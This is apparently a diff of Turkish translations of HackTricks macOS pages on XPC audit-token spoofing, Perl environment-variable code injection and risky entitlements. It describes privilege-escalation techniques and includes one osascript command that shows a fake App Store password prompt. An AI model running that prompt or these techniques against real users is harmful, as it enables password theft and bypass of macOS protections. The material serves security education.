3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir. 3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd'ye` yönlendirilir. `smd` için, kullanıcı ve `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
![Saldırı sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) ![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi sürecini) izlemesini talimat vermek içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir. 4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (muhtemelen kullanıcının kendi sürecini) izlemesini talimatlandırmayı içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir.
5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır. 5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır.
## Varyant 2: yanıt yönlendirme ## Varyant 2: yanıt yönlendirme
@ -98,7 +98,7 @@ XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı ola
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir. 1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir. 2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir.
Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasını önlemek için kilit uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur. Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir: Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
@ -110,26 +110,26 @@ Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
Sömürü süreci aşağıdaki adımları içerir: Sömürü süreci aşağıdaki adımları içerir:
1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin. 1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin.
2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır. 2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir mesaj göndermek için kullanılır.
3. Ardından, yasaklanan işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir. 3. Ardından, yasaklanan bir işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir: Aşağıda açıklanan saldırı senaryosunun görsel temsili bulunmaktadır:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) ![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Keşif Problemleri ## Keşif Problemleri
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu. * **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu.
* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve etkin kullanım gerektiriyordu. * **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve aktif kullanım gerektiriyordu.
* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı. * **Analiz Araçları**: IDA/Ghidra gibi araçlar, ulaşılabilir mach hizmetlerini incelemek için kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi. * **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği yazma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
## Düzeltme <a href="#the-fix" id="the-fix"></a> ## Düzeltme <a href="#the-fix" id="the-fix"></a>
* **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu. * **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı. * **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir. * **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir.
* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesi ile uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir. * **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te hala devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır. * **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## `PERL5OPT` ve `PERL5LIB` Çevresel Değişkeni Aracılığıyla ## `PERL5OPT` ve `PERL5LIB` çevresel değişkeni Aracılığıyla
Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\ Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\
Örneğin, bu betiği oluşturun: Örneğin, bu betiği oluşturun:
@ -67,27 +67,13 @@ Hangi şu şekilde bir şey döndürecektir:
Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir. Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir.
{% hint style="warning" %} {% hint style="warning" %}
Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** unutmayın ve günümüzde bu **TCC uyarısı** alacaksınız: Ancak, o klasöre yazabilmek için **root olmanız gerektiğini** ve günümüzde bu **TCC uyarısı** alacağınızı unutmayın:
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır. Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır.
## Referanslar ## Referanslar
* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk) * [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -8,9 +8,9 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu * [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -38,11 +38,11 @@ Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu
### `com.apple.security.cs.debugger` ### `com.apple.security.cs.debugger`
Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger). Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklama aracı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation` ### `com.apple.security.cs.disable-library-validation`
Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmayan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmamış olan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation` ### `com.apple.private.security.clear-library-validation`
@ -59,7 +59,7 @@ Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevre
### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`** ### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`**
Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **bir ayrıcalık yükseltmesi** için faydalı olabilir. Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da bir **yetki yükseltmesi** için faydalı olabilir.
### `com.apple.private.security.kext-management` ### `com.apple.private.security.kext-management`
@ -67,11 +67,11 @@ Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir,
### **`com.apple.private.icloud-account-access`** ### **`com.apple.private.icloud-account-access`**
**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı mümkün kılar ve **iCloud belgelerini sağlar**. **`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmayı sağlar ve bu da **iCloud belgelerini sağlar**.
**iMovie** ve **Garageband** bu yetkiye sahipti. **iMovie** ve **Garageband** bu yetkiye sahipti.
Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) Bu yetkiden **iCloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token` ### `com.apple.private.tcc.manager.check-by-audit-token`
@ -87,7 +87,7 @@ TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Updat
### `keychain-access-groups` ### `keychain-access-groups`
Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler: Bu yetki, uygulamanın erişim sağlayabileceği **anahtarlık** gruplarını listeler:
```xml ```xml
<key>keychain-access-groups</key> <key>keychain-access-groups</key>
<array> <array>
@ -104,37 +104,35 @@ Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izi
### **`kTCCServiceAppleEvents`** ### **`kTCCServiceAppleEvents`**
Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. Uygulamanın diğer uygulamalara olaylar göndermesine izin verir, genellikle **görevleri otomatikleştirmek** için kullanılan. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Kullanıcıdan şifresini istemelerini sağlamak gibi: Kullanıcıdan şifresini istemelerini sağlamak gibi:
{% code overflow="wrap" %}
```bash ```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
``` ```
{% endcode %} {% endcode %}
Veya onları **keyfi eylemler gerçekleştirmeye** zorlamak. Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak.
### **`kTCCServiceEndpointSecurityClient`** ### **`kTCCServiceEndpointSecurityClient`**
Diğer izinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir. İzinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir.
### **`kTCCServiceSystemPolicySysAdminFiles`** ### **`kTCCServiceSystemPolicySysAdminFiles`**
Bir kullanıcının ev klasörü yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir. Kullanıcının ev klasör yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir.
### **`kTCCServiceSystemPolicyAppBundles`** ### **`kTCCServiceSystemPolicyAppBundles`**
Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde). Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._ Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._
### `kTCCServiceAccessibility` ### `kTCCServiceAccessibility`
İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle, Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir. İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
## Orta ## Orta
@ -144,7 +142,7 @@ Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **ya
### `com.apple.security.cs.allow-unsigned-executable-memory` ### `com.apple.security.cs.allow-unsigned-executable-memory`
Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı (temelde güvensiz olan) kullanmaya veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %} {% hint style="danger" %}
Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün. Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün.
@ -152,10 +150,10 @@ Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygı
### `com.apple.security.cs.disable-executable-page-protection` ### `com.apple.security.cs.disable-executable-page-protection`
Bu ayrıcalık, **kendi yürütülebilir dosyalarının diskteki bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). Bu ayrıcalık, **kendi yürütülebilir dosyalarının bölümlerini** diskte değiştirmeye izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %} {% hint style="danger" %}
Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, saldırganın uygulamanızın yürütülebilir kodunu algılanmadan yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin. Yürütülebilir Bellek Koruma Ayrıcalığını Devre Dışı Bırakma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, uygulamanızın yürütülebilir kodunu bir saldırganın tespit edilmeden yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
{% endhint %} {% endhint %}
### `com.apple.security.cs.allow-relative-library-loads` ### `com.apple.security.cs.allow-relative-library-loads`
@ -179,14 +177,14 @@ Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur:
<details> <details>
<summary><strong>Tüm TCC izinlerini istemek için işleme izin verin</strong></summary> <summary><strong>Aktif sürecin **tüm TCC izinlerini istemesine** izin verin.</strong></summary>
Diğer HackTricks'i destekleme yolları: Diğer HackTricks'i destekleme yolları:
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
